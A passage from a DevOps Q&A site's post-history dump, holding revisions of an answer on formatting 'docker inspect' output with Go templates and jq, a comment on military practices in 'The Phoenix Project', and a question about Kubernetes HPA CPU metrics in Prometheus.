not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19948" PostHistoryTypeId="2" PostId="6243" RevisionGUID="0013f18d-5257-4a27-8582-041d67410966" CreationDate="2019-02-05T17:51:32.117" UserId="12234" Text="My take on the military references in the book, as a veteran, has to do with Man, Machine, Method, Measure; and, with drilling.&#xD;&#xA;&#xD;&#xA;The military is entirely other compared to civilian operational models. Setting aside the chain of command and the Military Justice systems; consider that the way any service member mops, waxes and buffs a floor is detailed in a procedure outlining what (exact) equipment is to be used, how it is to be calibrated, how the person is to operate said equipment and measures by which to determine compliance with the procedure. The same goes for brewing coffee, making Kool-Aid, or launching aircraft from a carrier deck.&#xD;&#xA;&#xD;&#xA;Secondly the military runs &quot;drills&quot; constantly so emergencies aren't chaotic and reactive; they are methodical and responsive. Hence these would be recommended practices in a DevOps context. Practice well-documented and consistently executed procedures often to increase reliability and responsiveness in the face of the unknown.&#xD;&#xA;&#xD;&#xA;In Phoenix project they apply both these practices to tame the chaos that Bill and the team have been subject to throughout the book." ContentLicense="CC BY-SA 4.0" />
  <row Id="19949" PostHistoryTypeId="5" PostId="6242" RevisionGUID="8740e44f-94c2-47fd-8064-7b9b332525a7" CreationDate="2019-02-05T18:21:09.623" UserId="11179" Comment="added 1123 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].Id'&#xD;&#xA;    &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[]|(.Name,.Driver)'&#xD;&#xA;    &quot;/vibrant_shaw&quot;&#xD;&#xA;    &quot;aufs&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sudo docker inspect $CID | jq '.[].State.Running'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].State'&#xD;&#xA;    {&#xD;&#xA;      &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;      &quot;Running&quot;: true,&#xD;&#xA;      &quot;Paused&quot;: false,&#xD;&#xA;      &quot;Restarting&quot;: false,&#xD;&#xA;      &quot;OOMKilled&quot;: false,&#xD;&#xA;      &quot;Dead&quot;: false,&#xD;&#xA;      &quot;Pid&quot;: 26467,&#xD;&#xA;      &quot;ExitCode&quot;: 0,&#xD;&#xA;      &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;      &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;      &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths'&#xD;&#xA;    [&#xD;&#xA;      &quot;/proc/asound&quot;,&#xD;&#xA;      &quot;/proc/bus&quot;,&#xD;&#xA;      &quot;/proc/fs&quot;,&#xD;&#xA;      &quot;/proc/irq&quot;,&#xD;&#xA;      &quot;/proc/sys&quot;,&#xD;&#xA;      &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;    ]&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths | join(&quot;:&quot;)'&#xD;&#xA;    &quot;/proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq '.[].IPAM.Config[].Gateway'&#xD;&#xA;    &quot;172.17.0.1&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19950" PostHistoryTypeId="2" PostId="6244" RevisionGUID="c349e44a-6ce3-45df-b66a-4a782941ece8" CreationDate="2019-02-05T18:26:58.060" UserId="12237" Text="In the Kubernetes dashboard, I can see for a HPA the following information:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Min Replicas:&#xD;&#xA;3&#xD;&#xA;Max Replicas:&#xD;&#xA;11&#xD;&#xA;Target CPU Utilization:&#xD;&#xA;80%&#xD;&#xA;Status&#xD;&#xA;Current Replicas:&#xD;&#xA;3&#xD;&#xA;Desired Replicas:&#xD;&#xA;3&#xD;&#xA;Current CPU Utilization:&#xD;&#xA;10%&#xD;&#xA;Last Scaled:&#xD;&#xA;5 days&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, I can't figure out how the 10% CPU utilization is calculated? &#xD;&#xA;&#xD;&#xA;And if this value exposed via Prometheus?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19951" PostHistoryTypeId="1" PostId="6244" RevisionGUID="c349e44a-6ce3-45df-b66a-4a782941ece8" CreationDate="2019-02-05T18:26:58.060" UserId="12237" Text="Does Prometheus expose the Horizontal Pod Autoscaler's &quot;Current CPU Utilization&quot; as shown in the Kubernetes dashboard?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19952" PostHistoryTypeId="3" PostId="6244" RevisionGUID="c349e44a-6ce3-45df-b66a-4a782941ece8" CreationDate="2019-02-05T18:26:58.060" UserId="12237" Text="&lt;kubernetes&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19953" PostHistoryTypeId="5" PostId="6242" RevisionGUID="3797d803-f7be-4330-895b-29c916c484b7" CreationDate="2019-02-05T18:28:30.783" UserId="11179" Comment="added 98 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                